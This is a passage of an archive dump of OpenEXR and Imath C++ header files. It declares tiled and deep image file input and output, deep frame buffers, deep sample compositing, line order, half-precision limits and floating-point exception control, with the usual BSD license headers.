IMATH_NAMESPACE::Box2i dataWindowForTile (int dx, int dy, int lx, int ly) const; //------------------------------------------------------------ // Read pixel data: // // readTile(dx, dy, lx, ly) reads the tile with tile // coordinates (dx, dy), and level number (lx, ly), // and stores it in the current frame buffer. // // dx must lie in the interval [0, numXTiles(lx)-1] // dy must lie in the interval [0, numYTiles(ly)-1] // // lx must lie in the interval [0, numXLevels()-1] // ly must lie in the inverval [0, numYLevels()-1] // // readTile(dx, dy, level) is a convenience function used // for ONE_LEVEL and MIPMAP_LEVELS files. It calls // readTile(dx, dy, level, level). // // The two readTiles(dx1, dx2, dy1, dy2, ...) functions allow // reading multiple tiles at once. If multi-threading is used // the multiple tiles are read concurrently. // // Pixels that are outside the pixel coordinate range for the // tile's level, are never accessed by readTile(). // // Attempting to access a tile that is not present in the file // throws an InputExc exception. // //------------------------------------------------------------ void readTile (int dx, int dy, int l = 0); void readTile (int dx, int dy, int lx, int ly); void readTiles (int dx1, int dx2, int dy1, int dy2, int lx, int ly); void readTiles (int dx1, int dx2, int dy1, int dy2, int l = 0); //-------------------------------------------------- // Read a tile of raw pixel data from the file, // without uncompressing it (this function is // used to implement TiledOutputFile::copyPixels()). // // for single part files, reads the next tile in the file // for multipart files, reads the tile specified by dx,dy,lx,ly // //-------------------------------------------------- void rawTileData (int &dx, int &dy, int &lx, int &ly, const char *&pixelData, int &pixelDataSize); struct Data; private: friend class InputFile; friend class MultiPartInputFile; TiledInputFile (InputPartData* part); TiledInputFile (const TiledInputFile &); // not implemented TiledInputFile & operator = (const TiledInputFile &); // not implemented TiledInputFile (const Header &header, OPENEXR_IMF_INTERNAL_NAMESPACE::IStream *is, int version, int numThreads); void initialize (); void multiPartInitialize(InputPartData* part); void compatibilityInitialize(OPENEXR_IMF_INTERNAL_NAMESPACE::IStream& is); bool isValidTile (int dx, int dy, int lx, int ly) const; size_t bytesPerLineForTile (int dx, int dy, int lx, int ly) const; void tileOrder(int dx[],int dy[],int lx[],int ly[]) const; Data * _data; friend void TiledOutputFile::copyPixels(TiledInputFile &); }; OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImathPlatform.h 0000644 00000006353 15246445047 0010766 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2002, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMATHPLATFORM_H #define INCLUDED_IMATHPLATFORM_H //---------------------------------------------------------------------------- // // ImathPlatform.h // // This file contains functions and constants which aren't // provided by the system libraries, compilers, or includes on // certain platforms. // //---------------------------------------------------------------------------- #include <math.h> #ifndef M_PI #define M_PI 3.14159265358979323846 #endif #ifndef M_PI_2 #define M_PI_2 1.57079632679489661923 // pi/2 #endif //----------------------------------------------------------------------------- // // Some, but not all, C++ compilers support the C99 restrict // keyword or some variant of it, for example, __restrict. // //----------------------------------------------------------------------------- #if defined __GNUC__ // // supports __restrict // #define IMATH_RESTRICT __restrict #elif defined (__INTEL_COMPILER) || \ defined(__ICL) || \ defined(__ICC) || \ defined(__ECC) // // supports restrict // #define IMATH_RESTRICT restrict #elif defined __sgi // // supports restrict // #define IMATH_RESTRICT restrict #elif defined _MSC_VER // // supports __restrict // // #define IMATH_RESTRICT __restrict #define IMATH_RESTRICT #else // // restrict / __restrict not supported // #define IMATH_RESTRICT #endif #endif // INCLUDED_IMATHPLATFORM_H OpenEXR/ImfDeepFrameBuffer.h 0000644 00000021447 15246445047 0011636 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2011, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef IMFDEEPFRAMEBUFFER_H_ #define IMFDEEPFRAMEBUFFER_H_ #include "ImfFrameBuffer.h" #include "ImfNamespace.h" #include "ImfExport.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER //-------------------------------------------------------- // Description of a single deep slice of the frame buffer: //-------------------------------------------------------- struct IMF_EXPORT DeepSlice : public Slice { //--------------------------------------------------------------------- // The stride for each sample in this slice. // // Memory layout: The address of sample i in pixel (x, y) is // // base + (xp / xSampling) * xStride + (yp / ySampling) * yStride // + i * sampleStride // // where xp and yp are computed as follows: // // * If we are reading or writing a scanline-based file: // // xp = x // yp = y // // * If we are reading a tile whose upper left coorner is at (xt, yt): // // if xTileCoords is true then xp = x - xt, else xp = x // if yTileCoords is true then yp = y - yt, else yp = y // //--------------------------------------------------------------------- int sampleStride; //------------ // Constructor //------------ DeepSlice (PixelType type = HALF, char * base = 0, size_t xStride = 0, size_t yStride = 0, size_t sampleStride = 0, int xSampling = 1, int ySampling = 1, double fillValue = 0.0, bool xTileCoords = false, bool yTileCoords = false); }; //----------------- // DeepFrameBuffer. //----------------- class IMF_EXPORT DeepFrameBuffer { public: //------------ // Add a slice //------------ void insert (const char name[], const DeepSlice &slice); void insert (const std::string &name, const DeepSlice &slice); //---------------------------------------------------------------- // Access to existing slices: // // [n] Returns a reference to the slice with name n. // If no slice with name n exists, an IEX_NAMESPACE::ArgExc // is thrown. // // findSlice(n) Returns a pointer to the slice with name n, // or 0 if no slice with name n exists. // //---------------------------------------------------------------- DeepSlice & operator [] (const char name[]); const DeepSlice & operator [] (const char name[]) const; DeepSlice & operator [] (const std::string &name); const DeepSlice & operator [] (const std::string &name) const; DeepSlice * findSlice (const char name[]); const DeepSlice * findSlice (const char name[]) const; DeepSlice * findSlice (const std::string &name); const DeepSlice * findSlice (const std::string &name) const; //----------------------------------------- // Iterator-style access to existing slices //----------------------------------------- typedef std::map <Name, DeepSlice> SliceMap; class Iterator; class ConstIterator; Iterator begin (); ConstIterator begin () const; Iterator end (); ConstIterator end () const; Iterator find (const char name[]); ConstIterator find (const char name[]) const; Iterator find (const std::string &name); ConstIterator find (const std::string &name) const; //---------------------------------------------------- // Public function for accessing a sample count slice. //---------------------------------------------------- void insertSampleCountSlice(const Slice & slice); const Slice & getSampleCountSlice() const; private: SliceMap _map; Slice _sampleCounts; }; //---------- // Iterators //---------- class DeepFrameBuffer::Iterator { public: Iterator (); Iterator (const DeepFrameBuffer::SliceMap::iterator &i); Iterator & operator ++ (); Iterator operator ++ (int); const char * name () const; DeepSlice & slice () const; private: friend class DeepFrameBuffer::ConstIterator; DeepFrameBuffer::SliceMap::iterator _i; }; class DeepFrameBuffer::ConstIterator { public: ConstIterator (); ConstIterator (const DeepFrameBuffer::SliceMap::const_iterator &i); ConstIterator (const DeepFrameBuffer::Iterator &other); ConstIterator & operator ++ (); ConstIterator operator ++ (int); const char * name () const; const DeepSlice & slice () const; private: friend bool operator == (const ConstIterator &, const ConstIterator &); friend bool operator != (const ConstIterator &, const ConstIterator &); DeepFrameBuffer::SliceMap::const_iterator _i; }; //----------------- // Inline Functions //----------------- inline DeepFrameBuffer::Iterator::Iterator (): _i() { // empty } inline DeepFrameBuffer::Iterator::Iterator (const DeepFrameBuffer::SliceMap::iterator &i): _i (i) { // empty } inline DeepFrameBuffer::Iterator & DeepFrameBuffer::Iterator::operator ++ () { ++_i; return *this; } inline DeepFrameBuffer::Iterator DeepFrameBuffer::Iterator::operator ++ (int) { Iterator tmp = *this; ++_i; return tmp; } inline const char * DeepFrameBuffer::Iterator::name () const { return *_i->first; } inline DeepSlice & DeepFrameBuffer::Iterator::slice () const { return _i->second; } inline DeepFrameBuffer::ConstIterator::ConstIterator (): _i() { // empty } inline DeepFrameBuffer::ConstIterator::ConstIterator (const DeepFrameBuffer::SliceMap::const_iterator &i): _i (i) { // empty } inline DeepFrameBuffer::ConstIterator::ConstIterator (const DeepFrameBuffer::Iterator &other): _i (other._i) { // empty } inline DeepFrameBuffer::ConstIterator & DeepFrameBuffer::ConstIterator::operator ++ () { ++_i; return *this; } inline DeepFrameBuffer::ConstIterator DeepFrameBuffer::ConstIterator::operator ++ (int) { ConstIterator tmp = *this; ++_i; return tmp; } inline const char * DeepFrameBuffer::ConstIterator::name () const { return *_i->first; } inline const DeepSlice & DeepFrameBuffer::ConstIterator::slice () const { return _i->second; } inline bool operator == (const DeepFrameBuffer::ConstIterator &x, const DeepFrameBuffer::ConstIterator &y) { return x._i == y._i; } inline bool operator != (const DeepFrameBuffer::ConstIterator &x, const DeepFrameBuffer::ConstIterator &y) { return !(x == y); } OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif /* IMFDEEPFRAMEBUFFER_H_ */ OpenEXR/ImfDeepCompositing.h 0000644 00000013737 15246445047 0011750 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2012, Weta Digital Ltd // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Weta Digital nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_DEEPCOMPOSITING_H #define INCLUDED_IMF_DEEPCOMPOSITING_H //----------------------------------------------------------------------------- // // Class to sort and composite deep samples into a frame buffer // You may derive from this class to change the way that CompositeDeepScanLine // and CompositeDeepTile combine samples together - pass an instance of your derived // class to the compositing engine // //----------------------------------------------------------------------------- #include "ImfForward.h" #include "ImfNamespace.h" #include "ImfExport.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER class IMF_EXPORT DeepCompositing { public: DeepCompositing(); virtual ~DeepCompositing(); ////////////////////////////////////////////// /// /// composite together the given channels /// /// @param outputs - return array of pixel values - /// @param inputs - arrays of input sample /// @param channel_names - array of channel names for corresponding channels /// @param num_channels - number of active channels (3 or greater) /// @param num_samples - number of values in all input arrays /// @param sources - number of different sources /// /// each array input has num_channels entries: outputs[n] should be the composited /// values in array inputs[n], whose name will be given by channel_names[n] /// /// The channel ordering shall be as follows: /// Position Channel /// 0 Z /// 1 ZBack (if no ZBack, then inputs[1]==inputs[0] and channel_names[1]==channel_names[0]) /// 2 A (alpha channel) /// 3-n other channels - only channels in the frame buffer will appear here /// /// since a Z and Alpha channel is required, and channel[1] is ZBack or another copy of Z /// there will always be 3 or more channels. /// /// The default implementation calls sort() if and only if more than one source is active, /// composites all samples together using the Over operator from front to back, /// stopping as soon as a sample with alpha=1 is found /// It also blanks all outputs if num_samples==0 /// /// note - multiple threads may call composite_pixel simultaneously for different pixels /// /// ////////////////////////////////////////////// virtual void composite_pixel(float outputs[], const float * inputs[], const char * channel_names[], int num_channels, int num_samples, int sources ); //////////////////////////////////////////////////////////////// /// /// find the depth order for samples with given channel values /// does not sort the values in-place. Instead it populates /// array 'order' with the desired sorting order /// /// the default operation sorts samples from front to back according to their Z channel /// /// @param order - required output order. order[n] shall be the nth closest sample /// @param inputs - arrays of input samples, one array per channel_name /// @param channel_names - array of channel names for corresponding channels /// @param num_channels - number of channels (3 or greater) /// @param num_samples - number of samples in each array /// @param sources - number of different sources the data arises from /// /// the channel layout is identical to composite_pixel() /// /////////////////////////////////////////////////////////////// virtual void sort(int order[], const float * inputs[], const char * channel_names[], int num_channels, int num_samples, int sources); }; OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImfDeepScanLineOutputFile.h 0000644 00000022570 15246445047 0013165 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2011, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_DEEP_SCAN_LINE_OUTPUT_FILE_H #define INCLUDED_IMF_DEEP_SCAN_LINE_OUTPUT_FILE_H //----------------------------------------------------------------------------- // // class DeepScanLineOutputFile // //----------------------------------------------------------------------------- #include "ImfHeader.h" #include "ImfFrameBuffer.h" #include "ImfThreading.h" #include "ImfGenericOutputFile.h" #include "ImfNamespace.h" #include "ImfForward.h" #include "ImfExport.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER struct PreviewRgba; class IMF_EXPORT DeepScanLineOutputFile : public GenericOutputFile { public: //----------------------------------------------------------- // Constructor -- opens the file and writes the file header. // The file header is also copied into the DeepScanLineOutputFile // object, and can later be accessed via the header() method. // Destroying this DeepScanLineOutputFile object automatically closes // the file. // // numThreads determines the number of threads that will be // used to write the file (see ImfThreading.h). //----------------------------------------------------------- DeepScanLineOutputFile (const char fileName[], const Header &header, int numThreads = globalThreadCount()); //------------------------------------------------------------ // Constructor -- attaches the new DeepScanLineOutputFile object // to a file that has already been opened, and writes the file header. // The file header is also copied into the DeepScanLineOutputFile // object, and can later be accessed via the header() method. // Destroying this DeepScanLineOutputFile object does not automatically // close the file. // // numThreads determines the number of threads that will be // used to write the file (see ImfThreading.h). //------------------------------------------------------------ DeepScanLineOutputFile (OPENEXR_IMF_INTERNAL_NAMESPACE::OStream &os, const Header &header, int numThreads = globalThreadCount()); //------------------------------------------------- // Destructor // // Destroying the DeepScanLineOutputFile object // before writing all scan lines within the data // window results in an incomplete file. //------------------------------------------------- virtual ~DeepScanLineOutputFile (); //------------------------ // Access to the file name //------------------------ const char * fileName () const; //-------------------------- // Access to the file header //-------------------------- const Header & header () const; //------------------------------------------------------- // Set the current frame buffer -- copies the FrameBuffer // object into the OutputFile object. // // The current frame buffer is the source of the pixel // data written to the file. The current frame buffer // must be set at least once before writePixels() is // called. The current frame buffer can be changed // after each call to writePixels. //------------------------------------------------------- void setFrameBuffer (const DeepFrameBuffer &frameBuffer); //----------------------------------- // Access to the current frame buffer //----------------------------------- const DeepFrameBuffer & frameBuffer () const; //------------------------------------------------------------------- // Write pixel data: // // writePixels(n) retrieves the next n scan lines worth of data from // the current frame buffer, starting with the scan line indicated by // currentScanLine(), and stores the data in the output file, and // progressing in the direction indicated by header.lineOrder(). // // To produce a complete and correct file, exactly m scan lines must // be written, where m is equal to // header().dataWindow().max.y - header().dataWindow().min.y + 1. //------------------------------------------------------------------- void writePixels (int numScanLines = 1); //------------------------------------------------------------------ // Access to the current scan line: // // currentScanLine() returns the y coordinate of the first scan line // that will be read from the current frame buffer during the next // call to writePixels(). // // If header.lineOrder() == INCREASING_Y: // // The current scan line before the first call to writePixels() // is header().dataWindow().min.y. After writing each scan line, // the current scan line is incremented by 1. // // If header.lineOrder() == DECREASING_Y: // // The current scan line before the first call to writePixels() // is header().dataWindow().max.y. After writing each scan line, // the current scan line is decremented by 1. // //------------------------------------------------------------------ int currentScanLine () const; //-------------------------------------------------------------- // Shortcut to copy all pixels from an InputFile into this file, // without uncompressing and then recompressing the pixel data. // This file's header must be compatible with the InputFile's // header: The two header's "dataWindow", "compression", // "lineOrder" and "channels" attributes must be the same. //-------------------------------------------------------------- void copyPixels (DeepScanLineInputFile &in); // -------------------------------------------------------------- // Shortcut to copy pixels from a given part of a multipart file // -------------------------------------------------------------- void copyPixels (DeepScanLineInputPart &in); //-------------------------------------------------------------- // Updating the preview image: // // updatePreviewImage() supplies a new set of pixels for the // preview image attribute in the file's header. If the header // does not contain a preview image, updatePreviewImage() throws // an IEX_NAMESPACE::LogicExc. // // Note: updatePreviewImage() is necessary because images are // often stored in a file incrementally, a few scan lines at a // time, while the image is being generated. Since the preview // image is an attribute in the file's header, it gets stored in // the file as soon as the file is opened, but we may not know // what the preview image should look like until we have written // the last scan line of the main image. // //-------------------------------------------------------------- void updatePreviewImage (const PreviewRgba newPixels[]); struct Data; private: //------------------------------------------------------------ // Constructor -- attaches the OutputStreamMutex to the // given one from MultiPartOutputFile. Set the previewPosition // and lineOffsetsPosition which have been acquired from // the constructor of MultiPartOutputFile as well. //------------------------------------------------------------ DeepScanLineOutputFile (const OutputPartData* part); DeepScanLineOutputFile (const DeepScanLineOutputFile &); // not implemented DeepScanLineOutputFile & operator = (const DeepScanLineOutputFile &); // not implemented void initialize (const Header &header); void initializeLineBuffer(); Data * _data; friend class MultiPartOutputFile; }; OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImfLineOrder.h 0000644 00000004662 15246445047 0010537 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2004, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_LINE_ORDER_H #define INCLUDED_IMF_LINE_ORDER_H //----------------------------------------------------------------------------- // // enum LineOrder // //----------------------------------------------------------------------------- #include "ImfNamespace.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER enum LineOrder { INCREASING_Y = 0, // first scan line has lowest y coordinate DECREASING_Y = 1, // first scan line has highest y coordinate RANDOM_Y = 2, // only for tiled files; tiles are written // in random order NUM_LINEORDERS // number of different line orders }; OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImathHalfLimits.h 0000644 00000004744 15246445047 0011240 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2002-2012, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMATHHALFLIMITS_H #define INCLUDED_IMATHHALFLIMITS_H //-------------------------------------------------- // // Imath-style limits for class half. // //-------------------------------------------------- #include "ImathLimits.h" #include "ImathNamespace.h" #include "half.h" IMATH_INTERNAL_NAMESPACE_HEADER_ENTER template <> struct limits <half> { static float min() {return -HALF_MAX;} static float max() {return HALF_MAX;} static float smallest() {return HALF_MIN;} static float epsilon() {return HALF_EPSILON;} static bool isIntegral() {return false;} static bool isSigned() {return true;} }; IMATH_INTERNAL_NAMESPACE_HEADER_EXIT #endif // INCLUDED_IMATHHALFLIMITS_H OpenEXR/IexMathFpu.h 0000644 00000006457 15246445047 0010236 0 ustar 00 #ifndef INCLUDED_IEXMATHFPU_H #define INCLUDED_IEXMATHFPU_H /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 1997, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// //------------------------------------------------------------------------ // // Functions to control floating point exceptions. // //------------------------------------------------------------------------ #include "IexMathIeeeExc.h" #include "IexNamespace.h" IEX_INTERNAL_NAMESPACE_HEADER_ENTER //----------------------------------------- // setFpExceptions() defines which floating // point exceptions cause SIGFPE signals. //----------------------------------------- void setFpExceptions (int when = (IEEE_OVERFLOW | IEEE_DIVZERO | IEEE_INVALID)); //---------------------------------------- // fpExceptions() tells you which floating // point exceptions cause SIGFPE signals. //---------------------------------------- int fpExceptions (); //------------------------------------------ // setFpExceptionHandler() defines a handler // that will be called when SIGFPE occurs. //------------------------------------------ extern "C" typedef void (* FpExceptionHandler) (int type, const char explanation[]); void setFpExceptionHandler (FpExceptionHandler handler); // ----------------------------------------- // handleExceptionsSetInRegisters() examines // the exception registers and calls the // floating point exception handler if the // bits are set. This function exists to // allow trapping of exception register states // that can get set though no SIGFPE occurs. // ----------------------------------------- void handleExceptionsSetInRegisters(); IEX_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImathQuat.h 0000644 00000051707 15246445047 0010117 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2002-2012, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED 